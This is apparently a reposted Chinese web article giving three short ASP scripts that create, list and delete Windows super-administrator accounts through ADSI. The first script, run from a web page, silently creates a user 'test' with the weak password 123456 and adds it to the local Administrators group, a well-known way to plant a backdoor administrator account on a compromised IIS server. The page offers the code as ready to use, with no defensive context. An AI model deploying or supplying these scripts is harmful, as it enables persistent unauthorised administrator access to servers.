ASP代码建立、删除、查看超级管理员帐号

ASP代码建立、删除、查看超级管理员帐号

作者：网上收集点击：读取中... 次

添加：

引用代码：<%Response.Expires=0
on error resume next
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.CreateObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.Create("user","test")
od.SetPassword "123456" <-----密码
od.SetInfo
Set of=GetObject(oz&"/test,user")
oe.Add(of.ADsPath)
Response.write "test 超级帐号建立成功!"
%>

查看：

引用代码：<%@codepage=936%>
<%Response.Expires=0
on error resume next '查找Administrators组帐号
Set tN=server.CreateObject("Wscript.Network")
Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group")
For Each admin in objGroup.Members
Response.write admin.Name&"<br>"
Next
if err then
Response.write "不行啊:Wscript.Network"
end if
%>

添加+删除：

引用代码：<%
Dim Container,IADsContainer,NewUser,IADsUser
set lp=Server.CreateObject("WSCRIPT.NETWORK")
Set Container = GetObject("WinNT://"&lp.ComputerName&"")
' Create the new wrapper.
Set NewUser = Container.Create("user", "test")
' Write it back to the DS
NewUser.SetInfo
' Set Jane's password.
NewUser.SetPassword("123456")
' Delete the user.
Call Container.Delete("user","test")
%>

收藏此文章　　　　　打印更新　　　　　编辑此文章　　　　『关闭窗口』


	家园个人文集		http://www.5x54.com